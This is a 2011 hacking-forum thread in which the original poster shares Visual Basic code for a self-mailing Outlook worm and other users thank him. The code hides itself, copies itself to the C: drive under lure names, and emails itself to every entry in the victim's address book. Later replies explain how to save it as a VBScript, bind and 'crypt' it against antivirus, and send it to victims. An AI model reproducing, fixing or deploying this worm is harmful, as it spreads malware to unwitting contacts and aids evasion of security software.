Sinisterly
Worm - Printable Version

+- Sinisterly (https://sinister.ly)
+-- Forum: Coding (https://sinister.ly/Forum-Coding)
+--- Forum: Visual Basic & .NET Framework (https://sinister.ly/Forum-Visual-Basic-NET-Framework)
+--- Thread: Worm (/Thread-Worm)



Worm - JuiceKing - 06-21-2011

It's not a virus but it's a worm,it's gonna copy itself to other computers via e-mail
A worm will do some following things
-E-mail
-Injection
-Infection of files
-File Sharing
-Exploits such as the Dcom Exploit W32.Blaster Used
-Messenger Exploits

Av's detect: "HEUR/Outlook worm"

Code:
Private Form Sub_Load() Me.hide Filecopy App.Path + "\" + App.EXEName + ".exe", "C:\Worm1.Exe" Filecopy App.Path + "\" + App.EXEName + ".exe", "C:\InnocentFile.exe" Filecopy App.Path + "\" + App.EXEName + ".exe", "C:\Me.EXE" Filecopy App.Path + "\" + App.EXEName + ".exe", "C:\OpenMe!.EXE" Set so = CreateObject(fso) Set ol = CreateObject("Outlook.Application") Set out = Wscript.CreateObject("Outlook.Application") Set mapi = out.GetNameSpace("MAPI") Set a = mapi.AddressLists(1) For X = 1 To a.AddressEntries.Count Set Mail = ol.CreateItem(0) Mail.to = ol.GetNameSpace("MAPI").AddressLists(1).AddressEntries(X) Mail.Subject = "Fwd:None" Mail.Body = "Hey Buddy My first worm is in your email now, enjoy it !!!"&"Have a nice worm !!" Mail.Attachments.Add = "C:\Worm1.exe" Mail.Send Next ol.Quit End Sub

This code is for visual basic 6!I'm try in visual basic 2008 errors!

I'm try to make this worm in notepad!And AV's detect:HEUR/Worm.Outlook.VBS Save as: .vbs (visual basic script) I'll send to victim! Biggrin I want to test! :thumbs:

Virus scan!

Good luck! Biggrin
Enjoy! :thumbs:


RE: Worm - Kyun0 - 06-21-2011

Interesting, thanks for the share!


RE: Worm - 1llusion - 06-21-2011

cute Smile thanks for the share!!!


RE: Worm - Shining White - 06-21-2011

Nice .., gotta look.. Biggrin


RE: Worm - Coder-san - 06-22-2011

This thread is getting detected by NOD32 (and probably some other AVs) as a possible worm, just because FSO is also used in VBscripts.
For the paranoid people: this thread is perfectly safe. Smile


RE: Worm - JuiceKing - 06-22-2011

(06-22-2011, 10:59 AM)Coder-san Wrote: This thread is getting detected by NOD32 (and probably some other AVs) as a possible worm, just because FSO is also used in VBscripts.
For the paranoid people: this thread is perfectly safe. Smile

Yeah is detect by: NOD 32 and Avira AntiVir and other Av's.My av's detect outlook worm because it's send file on outlook Smile I'm try to make worm in visual basic 2008-> ERRORS.You're right!This is safe.But if this is used in VBscripts then you can make a VBS(Visual Basic script) in Notepad??Then send to victim? Biggrin I'll try it! Open notepad copy this code into notepad then save as: whatever.vbs U must bind it then send to victim!(AV's detect a worm) U must crypt it! Tongue Good luck! :thumbs:


RE: Worm - nickjonnes - 06-22-2011

ncie work have a look at itzaworm 4.4 (i think that how you spell it) it has a few more features and is in vb.net 2010 Smile
thanks mate


RE: Worm - JuiceKing - 06-22-2011

(06-22-2011, 03:51 PM)nickjonnes Wrote: ncie work have a look at itzaworm 4.4 (i think that how you spell it) it has a few more features and is in vb.net 2010 Smile
thanks mate

cool Biggrin You're welcome! :thumbs:


RE: Worm - WoosTy - 06-22-2011

thanks for sharing.... Smile


RE: Worm - JuiceKing - 06-23-2011

(06-22-2011, 08:43 PM)WoosTy Wrote: thanks for sharing.... Smile

You're welcome... Smile